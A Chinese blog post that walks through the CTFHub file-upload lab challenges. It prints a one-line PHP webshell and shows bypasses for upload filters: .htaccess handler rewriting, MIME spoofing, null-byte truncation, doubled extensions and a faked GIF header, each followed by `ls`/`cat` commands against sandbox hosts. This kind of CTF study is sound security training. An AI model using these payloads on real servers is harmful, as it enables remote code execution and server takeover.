Web安全——文件上传
本文最后更新于2 天前,其中的信息可能已经过时,如有错误请发送评论

前言

花了两天时间学习了 XSS ,顺便通关了 CTFHub 的 XSS 板块,现在开始学习 CTFHub 文件上传漏洞的板块,可能是因为电子杨伟的原因,这几天对游戏都提不起兴趣了,只有做题成功夺旗后的成就感才能满足我,大抵是做题做上瘾了

概述

  • 文件上传漏洞(File Upload Vulnerability)是Web应用程序中常见的高危漏洞之一,攻击者通过上传恶意文件(如Webshell、恶意脚本、病毒等)来获取服务器控制权或执行任意代码。由于文件上传功能广泛应用于各类Web系统(如CMS、社交平台、企业OA系统等),一旦存在漏洞,往往会导致严重的安全问题
  • Webshell 是一种恶意脚本,通常被攻击者用来在目标服务器上获取不正当的访问权限。它以网页文件形式存在,支持多种编程语言,如PHP、ASP、ASPX和JSP。Webshell的主要功能包括文件管理、命令执行、数据库操作和信息收集等
  • Webshell的实现通常利用服务器漏洞,如文件上传漏洞、SQL注入漏洞或远程代码执行漏洞,将恶意代码上传至服务器。一旦部署成功,攻击者可以通过Webshell执行各种恶意操作

文件上传漏洞原理

  • 在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data,同时加入文件域,而后通过 HTTP 协议将文件内容发送到服务器,服务器端读取这个分段 (multipart) 的数据信息,并将其中的文件内容提取出来并保存的。通常,在进行文件保存的时候,服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的扩展名,而后随机为文件起一个文件名 ( 为了防止重复 ),并且加上原始文件的扩展名来保存到服务器上
  • 文件上传漏洞通常由未校验文件类型(依赖客户端JavaScript检查文件扩展),黑名单过滤不完善(仅禁止.php.jsp等扩展名),MIME 类型伪造(仅检查Content-Type),文件内容未检测,目录遍历漏洞(上传路径可控),解析漏洞(服务器错误解析文件),条件竞争漏洞(上传后未及时删除临时文件,导致攻击者利用时间差执行恶意代码)原因导致

无验证

题目:

无验证

考点:

  • 基础 webshell

解题思路:

因为没有验证,所以我们可以直接使用一句话木马,然后还是先开启环境,直接上传我们的一句话木马的文件:

<?php system($_GET['cmd']); ?>

注意临时关闭windows的实时保护,要不然文件会被删除,然后上传后,显示了如下信息:

我们顺着这个路径去访问我们的 webshell

http://challenge-e27299cf80a5f45b.sandbox.ctfhub.com:10800/upload/webshell.php?cmd=

cmd 后面拼接我们想要执行的命令:

ls ../ # 查看上级目录的文件 flag_1025013667.php index.php upload 

当然也可以直接使用:

find ../../ -name "flag*" 2>/dev/null # 查找整个网站目录带有flag的文件

然后我们就找到了一个 flag_1025013667.php ,直接访问这个文件发现里面没有内容,因为 php 是后端代码,前端不显示,即使查看源代码也没有用,所以我们用 cat 来查看这个文件,因为 flag 是跟 upload 属于同一个目录,所以我们需要 ../ 来切换到上级目录,payload 如下:

http://challenge-e27299cf80a5f45b.sandbox.ctfhub.com:10800/upload/webshell.php?cmd=cat ../flag_1025013667.php

然后 F12 就可以看到 flag 了,成功夺旗!

前端验证

题目:

前端验证

考点:

  • 前端验证绕过

解题思路:

前端的验证,通过抓包基本上就可以绕过,流程如下:

抓到的数据包是本地客户端验证完已经发送的,这个时候拦截修改后继续发送就是直接发给服务器,所以达到绕过的效果,然后理解了原理还是先开启环境:

鼠标右键查看源代码,发现使用的是 js 的前端验证,验证文件后缀必须是.jpg .png .gif ,所以我们仍然上传一句话木马,不过文件名先用 webshell.jpg:

这里忘记抓包了,直接上传成功了,不过说明思路的确没问题,的确验证了,使用的白名单验证,然后用jgp上传,接下来抓包修改:

这里先是选择文件,然后点击上传前开启抓包,然后点击 Submit ,然后修改数据包中的 jpg 为 php,然后发送数据包:

可以看到这里成功上传成功,这里之前上传了一个文件,为了方便区分所以加了一个数字 2 ,然后还是访问我们的 webshell 用 ls 获取一下上级目录的文件:

http://challenge-c4e643c77404749e.sandbox.ctfhub.com:10800/upload/webshell2.php?cmd=ls ../

可以看到 flag 的位置还是没有改变,直接 cat 该文件(flag_1632723507.php),然后 F12 查看就可以获取到 flag 了:

.htaccess

题目:

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

考点:

  • .htaccess配置文件
  • .htaccess 是 Apache 服务器的分布式配置文件,可在目录级别覆盖主配置文件设置,无需重启服务器即可生效。它常用于 URL 重写、访问控制、安全防护、性能优化等场景

解题思路:

这里我们现在本地创建一个 .htaccess 的文件,添加内容:

AddType application/x-httpd-php .jpg

作用是让 apache 将我们上传的 webshell.jpg 当作 php 解析:

然后上传我们的 webshell.jpg:

然后我们的 webshell.jpg 会被当作 php 解析,现在只需要访问我们的 webshell,然后带上命令即可:

http://challenge-33e330ab7213426d.sandbox.ctfhub.com:10800/upload/webshell.jpg?cmd=ls ../

成功获取到文件名,然后还是像前面的一样,cat 文件,然后 F12:

http://challenge-33e330ab7213426d.sandbox.ctfhub.com:10800/upload/webshell.jpg?cmd=cat ../flag_2953221442.php

成功夺旗!这里一开始我把这题想成 apache 的解析漏洞,结果回看题目才想起来是 .htaccess 配置文件的题目,直接修上传一个 .htaccess 告诉 apache 将 jpg 文件解析为 php 即可

MIME绕过

题目:

MIME绕过

考点:

  • 仅检查Content-Type(如image/jpeg),但攻击者可伪造该值

解题思路:

MIME伪造,还是通过抓包的手段,不过这回是后端校验,服务器是通过 Content-Type 这个来判断,我们只需要修改这个值为 imag/jpeg ,服务器就会将其判断为正常的图片,从而成功上传 webshell:

理解原理后我们直接打开环境,然后抓包修改 Content-Type 的值为 image/jpeg ,但是因为我们的webshell是 .php后缀,所以依旧能正常解析:

修改好后发送数据包,成功上传,并返回了相对路径:

接下来就跟前面的一样,连接我们的 webshell 来执行命令获取 flag 即可,文件路径应该还是跟 upload 是同一个目录,所以直接使用:

http://challenge-7f962dcb54c40607.sandbox.ctfhub.com:10800/upload/webshell.php?cmd=ls ../

成功获取到 flag 的文件名,接着直接 cat 文件,然后 F12 获取 flag 即可:

http://challenge-7f962dcb54c40607.sandbox.ctfhub.com:10800/upload/webshell.php?cmd=cat ../flag_207857731.php

成功夺旗!

00截断

题目:

了解一下 PHP 5.2 00截断上传的原理

考点:

  • PHP 5.2 00截断上传

解题思路:

这会题目可算不是没有了,至少给了点有用的信息,说是让我们了解一下这个 PHP 5.2 00截断上传的原理,我们直接浏览器搜搜看:

在PHP 5.2版本中,存在一个严重的漏洞,即00截断漏洞。该漏洞允许恶意用户通过URL参数输入%00,导致后续字符被自动忽略,从而绕过文件类型的限制,例如,假设我们有一个文件上传功能,要求上传的文件必须是.jpg格式。攻击者可以上传一个名为shell.php%00.jp的文件。由于%00在URL编码中表示ASCII码中的空字符(NULL字符),PHP在处理文件名时会将其视为字符串的结束符,从而忽略后面的.jpg

既然知道原理了,那么我们直接打开环境,使用这个方法上传我们的一句话木马文件 webshell.php.jpg:

因为这里是基于 URL 的截断,所以我们需要在 URL 中添加我们的文件名,然后用 %00 截断,这样上传的文件就是 webshell.php,不管原先什么名字和类型,反正文件内容一样,都是我们一句话木马的内容,然后我们连接我们的 webshell :

http://challenge-dd61e6cad1515e14.sandbox.ctfhub.com:10800/upload/webshell.php?cmd=ls ../

成功活得 flag 文件名,还是和前面一样,cat 文件,然后 F12 查看:

http://challenge-dd61e6cad1515e14.sandbox.ctfhub.com:10800/upload/webshell.php?cmd=cat ../flag_343613347.php

成功夺旗!

双写后缀:

题目:

双写后缀

考点:

  • 双写后缀绕过

解题思路

与其说是双写后缀,不如用一次过滤来表达跟贴切一些,主要原理就是服务器对用户上传的文件名进行了过滤,但是只过滤了一次,所以攻击者只需要写两边就能够成功绕过

既然理解了原理,我们直接做题

这里我尝试了这两种方法发现都不行:

.php.php   --> ..
.phpphp    --> .

说明的确对 php 进行了过滤处理,无论有几个 php 都会过滤掉,但是我们可以使用双写过滤:

.pphphp    --> .php

这样检测时发现中间存在 php 进行过滤,过滤结束后前面的 p 和后面的 hp 再次拼接到一起形成 php 后缀:

可以看到显示的是 webshell3.php ,接下来连接 websehll 获取 flag 文件名:

http://challenge-724283698ca9ca60.sandbox.ctfhub.com:10800/upload/webshell3.php?cmd=ls ../

然后 cat 文件,F12 查看 flag:

http://challenge-724283698ca9ca60.sandbox.ctfhub.com:10800/upload/webshell3.php?cmd=cat ../flag_1101417128.php

成功夺旗!

文件头检查

题目:

文件头检查

考点:

  • 文件头检查绕过

解题思路:

文件开头的几个字节(通常是2-16字节),用于标识文件的真实类型,文件头检查就是通过这个来判断文件的类型,如果不合规就上传失败,所以我们需要伪造文件头,又或者使用图片,然后在图片文件的末尾添加php代码,这里我使用第二种不管是手动添加还是在工具里面添加都没有用,最后还是回归伪造文件头,先是创建一个 webshell1.php 的文件,然后输入:

GIF89a
<?php system($_GET['cmd']); ?>

然后我们抓包修改 Content-Type 的值为 image/gif,发送数据包就上传成功了:

然后还是老样子,连接我们的 webshell ,然后查看 flag 文件名:

http://challenge-f1dfb7e41d8998d2.sandbox.ctfhub.com:10800/upload/webshell1.php?cmd=ls ../

获取到文件名后我们直接 cat 文件,然后 F12 查看:

http://challenge-f1dfb7e41d8998d2.sandbox.ctfhub.com:10800/upload/webshell1.php?cmd=cat ../flag_19882840.php

成功夺旗!

总结:

利用各种技巧去绕过验证,实现木马上传,然后获取到 flag,大体思路都是一样的,区别在于不同的手法,然后这篇文章是一边刷题一边写的,在这篇文章写完的时候才过了一个上午,今天实在是太快了,然后上传到博客就打算午休了,下午继续!

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇